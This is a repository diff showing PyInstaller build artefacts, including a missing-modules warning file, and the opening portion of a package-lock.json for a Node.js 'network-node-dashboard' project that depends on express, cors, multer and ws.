('zipfile', '/usr/lib/python3.10/zipfile.py', 'PYMODULE')])

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,30 @@
This file lists modules PyInstaller was not able to find. This does not
necessarily mean these modules are required for running your program. Both
Python's standard library and 3rd-party Python packages often conditionally
import optional modules, some of which may be available only on certain
platforms.
Types of import:
* top-level: imported at the top-level - look at these first
* conditional: imported within an if-statement
* delayed: imported within a function
* optional: imported within a try-except-statement
IMPORTANT: Do NOT post this list to the issue-tracker. Use it as a basis for
tracking down the missing module yourself. Thanks!
missing module named _frozen_importlib_external - imported by importlib._bootstrap (delayed), importlib (optional), importlib.abc (optional)
excluded module named _frozen_importlib - imported by importlib (optional), importlib.abc (optional)
missing module named pep517 - imported by importlib.metadata (delayed)
missing module named 'org.python' - imported by copy (optional)
missing module named org - imported by pickle (optional)
missing module named winreg - imported by importlib._bootstrap_external (conditional), platform (delayed, optional), mimetypes (optional), urllib.request (delayed, conditional, optional)
missing module named nt - imported by os (delayed, conditional, optional), ntpath (optional), shutil (conditional), importlib._bootstrap_external (conditional)
missing module named _winapi - imported by encodings (delayed, conditional, optional), ntpath (optional), subprocess (optional), mimetypes (optional)
missing module named _scproxy - imported by urllib.request (conditional)
missing module named msvcrt - imported by subprocess (optional), getpass (optional)
missing module named vms_lib - imported by platform (delayed, optional)
missing module named 'java.lang' - imported by platform (delayed, optional)
missing module named java - imported by platform (delayed)
missing module named _winreg - imported by platform (delayed, optional)

File diff suppressed because it is too large Load Diff

978
package-lock.json generated Normal file
View File

@@ -0,0 +1,978 @@
{
"name": "network-node-dashboard",
"version": "1.0.0",
"lockfileVersion": 3,
"requires": true,
"packages": {
"": {
"name": "network-node-dashboard",
"version": "1.0.0",
"dependencies": {
"cors": "^2.8.5",
"express": "^4.19.2",
"multer": "^2.2.0",
"ws": "^8.17.0"
}
},
"node_modules/accepts": {
"version": "1.3.8",
"resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz",
"integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==",
"license": "MIT",
"dependencies": {
"mime-types": "~2.1.34",
"negotiator": "0.6.3"
},
"engines": {
"node": ">= 0.6"
}
},
"node_modules/append-field": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/append-field/-/append-field-1.0.0.tgz",
"integrity": "sha512-klpgFSWLW1ZEs8svjfb7g4qWY0YS5imI82dTg+QahUvJ8YqAY0P10Uk8tTyh9ZGuYEZEMaeJYCF5BFuX552hsw==",
"license": "MIT"
},
"node_modules/array-flatten": {
"version": "1.1.1",
"resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz",
"integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==",
"license": "MIT"
},
"node_modules/body-parser": {
"version": "1.20.6",
"resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.6.tgz",
"integrity": "sha512-p5tAzS57i5MV9fZFDj9LeIiTZEufbSe2eDozP+ElheSUq1m74CRq1jI4mYNDdVs9vQztXFLuk/Gd6BWTdwRJ5g==",
"license": "MIT",
"dependencies": {
"bytes": "~3.1.2",
"content-type": "~1.0.5",
"debug": "2.6.9",
"depd": "2.0.0",
"destroy": "~1.2.0",
"http-errors": "~2.0.1",
"iconv-lite": "~0.4.24",
"on-finished": "~2.4.1",
"qs": "~6.15.1",
"raw-body": "~2.5.3",
"type-is": "~1.6.18",
"unpipe": "~1.0.0"
},
"engines": {
"node": ">= 0.8",
"npm": "1.2.8000 || >= 1.4.16"
}
},
"node_modules/buffer-from": {
"version": "1.1.2",
"resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz",
"integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==",
"license": "MIT"
},
"node_modules/busboy": {
"version": "1.6.0",
"resolved": "https://registry.npmjs.org/busboy/-/busboy-1.6.0.tgz",
"integrity": "sha512-8SFQbg/0hQ9xy3UNTB0YEnsNBbWfhf7RtnzpL7TkBiTBRfrQ9Fxcnz7VJsleJpyp6rVLvXiuORqjlHi5q+PYuA==",
"dependencies": {
"streamsearch": "^1.1.0"
},
"engines": {
"node": ">=10.16.0"
}
},
"node_modules/bytes": {
"version": "3.1.2",
"resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",
"integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==",
"license": "MIT",
"engines": {
"node": ">= 0.8"
}
},
"node_modules/call-bind-apply-helpers": {
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz",
"integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==",
"license": "MIT",
"dependencies": {
"es-errors": "^1.3.0",
"function-bind": "^1.1.2"
},
"engines": {
"node": ">= 0.4"
}
},
"node_modules/call-bound": {
"version": "1.0.4",
"resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz",
"integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==",
"license": "MIT",
"dependencies": {
"call-bind-apply-helpers": "^1.0.2",
"get-intrinsic": "^1.3.0"
},
"engines": {
"node": ">= 0.4"
},
"funding": {
"url": "https://github.com/sponsors/ljharb"
}
},
"node_modules/concat-stream": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-2.0.0.tgz",
"integrity": "sha512-MWufYdFw53ccGjCA+Ol7XJYpAlW6/prSMzuPOTRnJGcGzuhLn4Scrz7qf6o8bROZ514ltazcIFJZevcfbo0x7A==",
"engines": [
"node >= 6.0"
],
"license": "MIT",
"dependencies": {
"buffer-from": "^1.0.0",
"inherits": "^2.0.3",
"readable-stream": "^3.0.2",
"typedarray": "^0.0.6"
}
},
"node_modules/content-disposition": {
"version": "0.5.4",
"resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz",
"integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==",
"license": "MIT",
"dependencies": {
"safe-buffer": "5.2.1"
},
"engines": {
"node": ">= 0.6"
}
},
"node_modules/content-type": {
"version": "1.0.5",
"resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz",
"integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==",
"license": "MIT",
"engines": {
"node": ">= 0.6"
}
},
"node_modules/cookie": {
"version": "0.7.2",
"resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz",
"integrity": "sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w==",
"license": "MIT",
"engines": {
"node": ">= 0.6"
}
},
"node_modules/cookie-signature": {
"version": "1.0.7",
"resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.7.tgz",
"integrity": "sha512-NXdYc3dLr47pBkpUCHtKSwIOQXLVn8dZEuywboCOJY/osA0wFSLlSawr3KN8qXJEyX66FcONTH8EIlVuK0yyFA==",
"license": "MIT"
},
"node_modules/cors": {
"version": "2.8.6",
"resolved": "https://registry.npmjs.org/cors/-/cors-2.8.6.tgz",
"integrity": "sha512-tJtZBBHA6vjIAaF6EnIaq6laBBP9aq/Y3ouVJjEfoHbRBcHBAHYcMh/w8LDrk2PvIMMq8gmopa5D4V8RmbrxGw==",
"license": "MIT",
"dependencies": {
"object-assign": "^4",
"vary": "^1"
},
"engines": {
"node": ">= 0.10"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/express"
}
},
"node_modules/debug": {
"version": "2.6.9",
"resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
"integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
"license": "MIT",
"dependencies": {
"ms": "2.0.0"
}
},
"node_modules/depd": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz",
"integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==",
"license": "MIT",
"engines": {
"node": ">= 0.8"
}
},
"node_modules/destroy": {
"version": "1.2.0",
"resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz",
"integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==",
"license": "MIT",
"engines": {
"node": ">= 0.8",
"npm": "1.2.8000 || >= 1.4.16"
}
},
"node_modules/dunder-proto": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz",
"integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==",
"license": "MIT",
"dependencies": {
"call-bind-apply-helpers": "^1.0.1",
"es-errors": "^1.3.0",
"gopd": "^1.2.0"
},
"engines": {
"node": ">= 0.4"
}
},
"node_modules/ee-first": {
"version": "1.1.1",
"resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz",
"integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==",
"license": "MIT"
},
"node_modules/encodeurl": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz",
"integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==",
"license": "MIT",
"engines": {
"node": ">= 0.8"
}
},
"node_modules/es-define-property": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz",
"integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==",
"license": "MIT",
"engines": {
"node": ">= 0.4"
}
},
"node_modules/es-errors": {
"version": "1.3.0",
"resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz",
"integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==",
"license": "MIT",
"engines": {
"node": ">= 0.4"
}
},
"node_modules/es-object-atoms": {
"version": "1.1.2",
"resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.2.tgz",
"integrity": "sha512-HWcBoN6NileqtSydK2FqHbS/LoDd2pqrnQHLyJzBj4kOp/ky2MWMN694xOfkK8/SnUsW2DH7EfyVlydKCsm1Zw==",
"license": "MIT",
"dependencies": {
"es-errors": "^1.3.0"
},
"engines": {
"node": ">= 0.4"
}
},
"node_modules/escape-html": {
"version": "1.0.3",
"resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz",
"integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==",
"license": "MIT"
},
"node_modules/etag": {
"version": "1.8.1",
"resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz",
"integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==",
"license": "MIT",
"engines": {
"node": ">= 0.6"
}
},
"node_modules/express": {
"version": "4.22.2",
"resolved": "https://registry.npmjs.org/express/-/express-4.22.2.tgz",
"integrity": "sha512-IuL+Elrou2ZvCFHs18/CIzy2Nzvo25nZ1/D2eIZlz7c+QUayAcYoiM2BthCjs+EBHVpjYjcuLDAiCWgeIX3X1Q==",
"license": "MIT",
"dependencies": {
"accepts": "~1.3.8",
"array-flatten": "1.1.1",
"body-parser": "~1.20.5",
"content-disposition": "~0.5.4",
"content-type": "~1.0.4",
"cookie": "~0.7.1",
"cookie-signature": "~1.0.6",
"debug": "2.6.9",
"depd": "2.0.0",
"encodeurl": "~2.0.0",
"escape-html": "~1.0.3",
"etag": "~1.8.1",
"finalhandler": "~1.3.1",
"fresh": "~0.5.2",
"http-errors": "~2.0.0",
"merge-descriptors": "1.0.3",
"methods": "~1.1.2",
"on-finished": "~2.4.1",
"parseurl": "~1.3.3",
"path-to-regexp": "~0.1.12",
"proxy-addr": "~2.0.7",
"qs": "~6.15.1",
"range-parser": "~1.2.1",
"safe-buffer": "5.2.1",
"send": "~0.19.0",
"serve-static": "~1.16.2",
"setprototypeof": "1.2.0",
"statuses": "~2.0.1",
"type-is": "~1.6.18",
"utils-merge": "1.0.1",
"vary": "~1.1.2"
},
"engines": {
"node": ">= 0.10.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/express"
}
},
"node_modules/finalhandler": {
"version": "1.3.2",
"resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.3.2.tgz",
"integrity": "sha512-aA4RyPcd3badbdABGDuTXCMTtOneUCAYH/gxoYRTZlIJdF0YPWuGqiAsIrhNnnqdXGswYk6dGujem4w80UJFhg==",
"license": "MIT",
"dependencies": {
"debug": "2.6.9",
"encodeurl": "~2.0.0",
"escape-html": "~1.0.3",
"on-finished": "~2.4.1",
"parseurl": "~1.3.3",
"statuses": "~2.0.2",
"unpipe": "~1.0.0"
},
"engines": {
"node": ">= 0.8"
}
},
"node_modules/forwarded": {
"version": "0.2.0",
"resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz",
"integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==",
"license": "MIT",
"engines": {
"node": ">= 0.6"
}
},
"node_modules/fresh": {
"version": "0.5.2",
"resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz",
"integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==",
"license": "MIT",
"engines": {
"node": ">= 0.6"
}
},
"node_modules/function-bind": {
"version": "1.1.2",
"resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
"integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==",
"license": "MIT",
"funding": {
"url": "https://github.com/sponsors/ljharb"
}
},
"node_modules/get-intrinsic": {
"version": "1.3.0",
"resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz",
"integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==",
"license": "MIT",
"dependencies": {
"call-bind-apply-helpers": "^1.0.2",
"es-define-property": "^1.0.1",
"es-errors": "^1.3.0",
"es-object-atoms": "^1.1.1",
"function-bind": "^1.1.2",
"get-proto": "^1.0.1",
"gopd": "^1.2.0",
"has-symbols": "^1.1.0",
"hasown": "^2.0.2",
"math-intrinsics": "^1.1.0"
},
"engines": {
"node": ">= 0.4"
},
"funding": {
"url": "https://github.com/sponsors/ljharb"
}
},
"node_modules/get-proto": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz",
"integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==",
"license": "MIT",
"dependencies": {
"dunder-proto": "^1.0.1",
"es-object-atoms": "^1.0.0"
},
"engines": {
"node": ">= 0.4"
}
},
"node_modules/gopd": {
"version": "1.2.0",
"resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz",
"integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==",
"license": "MIT",
"engines": {
"node": ">= 0.4"
},
"funding": {
"url": "https://github.com/sponsors/ljharb"
}
},
"node_modules/has-symbols": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz",
"integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==",
"license": "MIT",
"engines": {
"node": ">= 0.4"
},
"funding": {
"url": "https://github.com/sponsors/ljharb"
}
},
"node_modules/hasown": {
"version": "2.0.4",
"resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.4.tgz",
"integrity": "sha512-T2UbfbBEF32wiepXIsMlTW9+dDYC6wMh/t/vYA4tuOMKqWz/n3vr1NFSxQiyP+zk2mXsoMA/i/7qV6LKut1t1A==",
"license": "MIT",
"dependencies": {
"function-bind": "^1.1.2"
},
"engines": {
"node": ">= 0.4"
}
},
"node_modules/http-errors": {
"version": "2.0.1",
"resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz",
"integrity": "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==",
"license": "MIT",
"dependencies": {
"depd": "~2.0.0",
"inherits": "~2.0.4",
"setprototypeof": "~1.2.0",
"statuses": "~2.0.2",
"toidentifier": "~1.0.1"
},
"engines": {
"node": ">= 0.8"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/express"
}
},
"node_modules/iconv-lite": {
"version": "0.4.24",
"resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",
"integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==",
"license": "MIT",
"dependencies": {
"safer-buffer": ">= 2.1.2 < 3"
},
"engines": {
"node": ">=0.10.0"
}
},
"node_modules/inherits": {
"version": "2.0.4",
"resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
"integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
"license": "ISC"
},
"node_modules/ipaddr.js": {
"version": "1.9.1",
"resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz",
"integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==",
"license": "MIT",
"engines": {
"node": ">= 0.10"
}
},
"node_modules/math-intrinsics": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz",
"integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==",
"license": "MIT",
"engines": {
"node": ">= 0.4"
}
},
"node_modules/media-typer": {
"version": "0.3.0",
"resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz",
"integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==",
"license": "MIT",
"engines": {
"node": ">= 0.6"
}
},
"node_modules/merge-descriptors": {
"version": "1.0.3",
"resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.3.tgz",
"integrity": "sha512-gaNvAS7TZ897/rVaZ0nMtAyxNyi/pdbjbAwUpFQpN70GqnVfOiXpeUUMKRBmzXaSQ8DdTX4/0ms62r2K+hE6mQ==",
"license": "MIT",
"funding": {
"url": "https://github.com/sponsors/sindresorhus"
}
},
"node_modules/methods": {
"version": "1.1.2",
"resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz",
"integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==",
"license": "MIT",
"engines": {
"node": ">= 0.6"
}
},
"node_modules/mime": {
"version": "1.6.0",
"resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz",
"integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==",
"license": "MIT",
"bin": {
"mime": "cli.js"
},
"engines": {
"node": ">=4"
}
},
"node_modules/mime-db": {
"version": "1.52.0",
"resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",
"integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==",
"license": "MIT",
"engines": {
"node": ">= 0.6"
}
},
"node_modules/mime-types": {
"version": "2.1.35",
"resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz",
"integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==",
"license": "MIT",
"dependencies": {
"mime-db": "1.52.0"
},
"engines": {
"node": ">= 0.6"
}
},
"node_modules/ms": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
"integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==",
"license": "MIT"
},
"node_modules/multer": {
"version": "2.2.0",
"resolved": "https://registry.npmjs.org/multer/-/multer-2.2.0.tgz",
"integrity": "sha512-6rdyFg2kLrMh9Jee7/BMPuV9lEAd7lLW2YUpF9/YxR7njyoUwwQ0ZPh3TaIY50Sw6vlyD2HW3wGOkTS4P79xrQ==",
"license": "MIT",
"dependencies": {
"append-field": "^1.0.0",
"busboy": "^1.6.0",
"concat-stream": "^2.0.0",
"type-is": "^1.6.18"
},
"engines": {
"node": ">= 10.16.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/express"
}
},
"node_modules/negotiator": {
"version": "0.6.3",
"resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz",
"integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==",
"license": "MIT",
"engines": {
"node": ">= 0.6"
}
},
"node_modules/object-assign": {
"version": "4.1.1",
"resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz",
"integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==",
"license": "MIT",
"engines": {
"node": ">=0.10.0"
}
},
"node_modules/object-inspect": {
"version": "1.13.4",
"resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz",
"integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==",
"license": "MIT",
"engines": {
"node": ">= 0.4"
},
"funding": {
"url": "https://github.com/sponsors/ljharb"
}
},
"node_modules/on-finished": {
"version": "2.4.1",
"resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz",
"integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==",
"license": "MIT",
"dependencies": {
"ee-first": "1.1.1"
},
"engines": {
"node": ">= 0.8"
}
},
"node_modules/parseurl": {
"version": "1.3.3",
"resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz",
"integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==",
"license": "MIT",
"engines": {
"node": ">= 0.8"
}
},
"node_modules/path-to-regexp": {
"version": "0.1.13",
"resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.13.tgz",
"integrity": "sha512-A/AGNMFN3c8bOlvV9RreMdrv7jsmF9XIfDeCd87+I8RNg6s78BhJxMu69NEMHBSJFxKidViTEdruRwEk/WIKqA==",
"license": "MIT"
},
"node_modules/proxy-addr": {
"version": "2.0.7",
"resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz",
"integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==",
"license": "MIT",
"dependencies": {
"forwarded": "0.2.0",
"ipaddr.js": "1.9.1"
},
"engines": {
"node": ">= 0.10"
}
},
"node_modules/qs": {
"version": "6.15.3",
"resolved": "https://registry.npmjs.org/qs/-/qs-6.15.3.tgz",
"integrity": "sha512-O9gl3zCl5h5blw1KGUzQKhA5oUXSl8rwUIM5o0S3nCXMliSvy5Dzx7/DJcI+SwgICv+IneSZwhBh1oSyEHA71A==",
"license": "BSD-3-Clause",
"dependencies": {
"es-define-property": "^1.0.1",
"side-channel": "^1.1.1"
},
"engines": {
"node": ">=0.6"
},
"funding": {
"url": "https://github.com/sponsors/ljharb"
}
},
"node_modules/range-parser": {
"version": "1.2.1",
"resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz",
"integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==",
"license": "MIT",
"engines": {
"node": ">= 0.6"
}
},
"node_modules/raw-body": {
"version": "2.5.3",
"resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.3.tgz",
"integrity": "sha512-s4VSOf6yN0rvbRZGxs8Om5CWj6seneMwK3oDb4lWDH0UPhWcxwOWw5+qk24bxq87szX1ydrwylIOp2uG1ojUpA==",
"license": "MIT",
"dependencies": {
"bytes": "~3.1.2",
"http-errors": "~2.0.1",
"iconv-lite": "~0.4.24",
"unpipe": "~1.0.0"
},
"engines": {
"node": ">= 0.8"
}
},
"node_modules/readable-stream": {
"version": "3.6.2",
"resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz",
"integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==",
"license": "MIT",
"dependencies": {
"inherits": "^2.0.3",
"string_decoder": "^1.1.1",
"util-deprecate": "^1.0.1"
},
"engines": {
"node": ">= 6"
}
},
"node_modules/safe-buffer": {
"version": "5.2.1",
"resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
"integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==",
"funding": [
{
"type": "github",
"url": "https://github.com/sponsors/feross"
},
{
"type": "patreon",
"url": "https://www.patreon.com/feross"
},
{
"type": "consulting",
"url": "https://feross.org/support"
}
],
"license": "MIT"
},
"node_modules/safer-buffer": {
"version": "2.1.2",
"resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
"integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==",
"license": "MIT"
},
"node_modules/send": {
"version": "0.19.2",
"resolved": "https://registry.npmjs.org/send/-/send-0.19.2.tgz",
